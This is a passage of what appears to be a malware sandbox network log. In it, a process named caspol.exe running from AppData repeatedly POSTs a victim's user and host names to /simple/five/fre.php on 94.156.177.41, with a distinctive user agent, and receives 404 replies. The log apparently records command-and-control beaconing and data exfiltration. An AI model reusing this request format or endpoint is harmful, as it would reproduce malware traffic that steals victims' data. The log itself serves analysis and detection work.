Nov 20, 2024 07:57:44.681811094 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:44.686743021 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:45.533421993 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:45 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49218	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:45.678222895 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:45.683161974 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:46.391887903 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:46 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49219	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:46.567030907 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:46.572052002 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:47.435107946 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:47 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.22	49220	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:47.620480061 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:47.625431061 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:48.350254059 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:48 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.22	49221	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:48.532846928 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:48.537909031 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:49.387171030 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:49 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.22	49222	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:49.532310009 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:49.537252903 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:50.396709919 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:50 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.22	49223	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:50.536369085 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:50.541403055 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:51.399991989 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:51 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.22	49224	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:51.545281887 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:51.550184965 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:52.414423943 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:52 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.22	49225	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:52.566518068 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:52.571474075 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:53.412801027 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:53 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.22	49226	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:53.560519934 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:53.565464020 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:54.297231913 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:54 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.22	49227	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:54.453720093 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:54.459147930 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:55.163341045 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:55 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.22	49228	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:55.311486006 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:55.316399097 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:56.037281036 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:55 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.22	49229	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:56.186849117 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:56.191792965 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:56.912216902 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:56 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.22	49230	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:57.051752090 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:57.056886911 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:57.913125992 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:57 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.22	49231	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:58.058877945 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:58.063832045 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:57:58.906354904 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:57:58 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.22	49232	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:57:59.309000969 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:57:59.315018892 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:00.178472996 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:00 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.22	49233	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:00.401304960 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:00.406323910 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:01.249268055 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:01 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.22	49234	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:01.397597075 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:01.402549982 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:02.252270937 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:02 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.22	49235	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:02.405973911 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:02.410938978 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:03.142828941 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:03 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.22	49236	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:03.276879072 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:03.281827927 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:04.012312889 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:03 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.22	49237	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:04.148475885 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
Nov 20, 2024 07:58:04.153650999 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 38 00 34 00 39 00 32 00 32 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus849224ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 07:58:05.015336037 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 06:58:04 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.22	49238	94.156.177.41	80	2596	C:\Users\user\AppData\Roaming\caspol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:58:05.165608883 CET	245	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A6A8C306 Content-Length: 149 Connection: close
